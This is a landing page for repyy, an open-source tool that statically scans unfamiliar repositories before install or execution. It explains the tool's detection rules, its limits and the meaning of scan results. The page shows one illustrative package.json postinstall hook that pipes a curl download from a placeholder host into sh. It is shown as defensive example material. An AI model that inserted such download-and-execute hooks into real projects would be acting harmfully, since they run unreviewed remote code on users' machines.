Repository preflight. Free and open source.

A closer look.Before you run.

Inspect unfamiliar repositories before installing dependencies or executing code. Built for take-home assignments, interviews, and code review.

Small file. Significant behavior.Illustrative source excerpt

package.json Install behavior

10  "scripts": {11    "test": "vitest",12    "postinstall":13      "curl -fsSL https://example.invalid/setup.sh | sh"14  }
Download → execute

Before the app starts,
a script can run.

repyy reads install paths as data and surfaces behavior to review. The target code stays unexecuted.

Your code stays on your machine. Local scans need no network. Remote scans clone only the repository you request.

MIT licensed · No account · No telemetry

Look beyond the source files.

Rules trace executable behavior across install paths, automation, encoded payloads, credentials, metadata, and archives.

Repository inspectionInstall paths
package.jsonlifecycle scripts2 signals .github/workflowsautomationchecked .vscode/tasks.jsoneditor taskschecked fixtures/sample.ziparchive depth 1checked

Lifecycle scripts, custom registries, unsafe binaries, and download-to-execute chains are evaluated together.

Finding modelSeverity ≠ confidence
SeverityHigh
ConfidenceMedium

Severity and confidence remain separate so review signals are not presented as proof of compromise.

Encoded behaviorObfuscation

Encoded payloads, dynamic execution, entropy, string shufflers, and invisible characters.

Redacted evidenceCredentials

Credential-shaped values are detected without printing the sensitive value in reports.

Repository surfacesBeyond the app folder

CI, editor tasks, agent instructions, containers, Git hooks, archives, and social-engineering signals remain in scope.

A clear limit.
An honest result.

Every scan has a boundary. If a timeout, limit, or read error reduces coverage, repyy reports the scan as incomplete.

10 minDefault timeout
100,000Default file limit
50 MiBDefault per file
3 levelsArchive depth

These defaults are adjustable. They are not detection guarantees.

Put the review
before the build.

Start with the Git URL. Keep the repository unexecuted until you understand the findings.

Receive
assignment.gitA URL is enough to begin.

Start outside
the workspace.

Use a remote scan before opening the repository with workspace trust enabled.

Scan
repyy scan URLRead-only static inspection.

Inspect without
running it.

Remote targets use a temporary shallow clone with hooks and submodules disabled.

Review
path · rule · contextFollow each finding to its source.

Read the evidence
in context.

Check locations, severity, confidence, and any coverage limits before deciding.

Decide
Your next command.Your decision.

Choose what
happens next.

Continue in isolation, ask for context, or stop when the evidence warrants it.

The same evidence.
A view that fits.

Read it in your terminal, pass it to automation, or keep an offline report. Source evidence is escaped and sensitive values are redacted.

Terminal review
$ repyy scan ./assignment

REVIEW REQUIRED
2 findings need context

HIGH  PKG-014   package.json:12
MED   OBF-003   src/setup.js:48

A finding is
a starting point.

Interpret the evidence, give agents the same review instructions, and inspect where the rules came from.

Interpretation

Clear outcomes.
No false certainty.

No findingsNo enabled rule matched.
Review requiredEvidence needs context.
Do not runCritical behavior found.
Scan incompleteCoverage was reduced.

A completed scan with no findings does not prove that a repository is safe.

Optional agent skill

The same boundary.
For your agent.

The skill instructs a coding agent to scan unfamiliar repositories before execution and report incomplete coverage.

Scan first.
Keep source local.
Report the limits.
npx skills add Kevin-Umali/repyy --skill repyy
Installs instructions only. Install the scanner separately. Read the agent skill guide

Rule provenance

Local intelligence.
Inspectable origins.

repyy ships with a signed offline snapshot. Updates are explicit and verified before activation.

Inspect the snapshotrepyy intel status
Explain a rulerepyy rules explain CICD-003
Restore the previous snapshotrepyy intel rollback
Read about intelligence

Start with a scan.

Install repyy. Scan the assignment. Review what comes back.

$ brew install --cask Kevin-Umali/tap/repyy

Before you begin.

Does “No findings” mean the repository is safe?

No. It means the completed scan matched no enabled rule. Static analysis can miss malicious behavior and can report harmless code.

Can I scan private repositories?

Yes. HTTPS clones can use supported provider tokens. SSH remotes use your existing SSH agent.

Can a repository weaken its own scan?

No. Repository-owned .repyy.yaml files are ignored. Pass a configuration file you trust with the --config flag.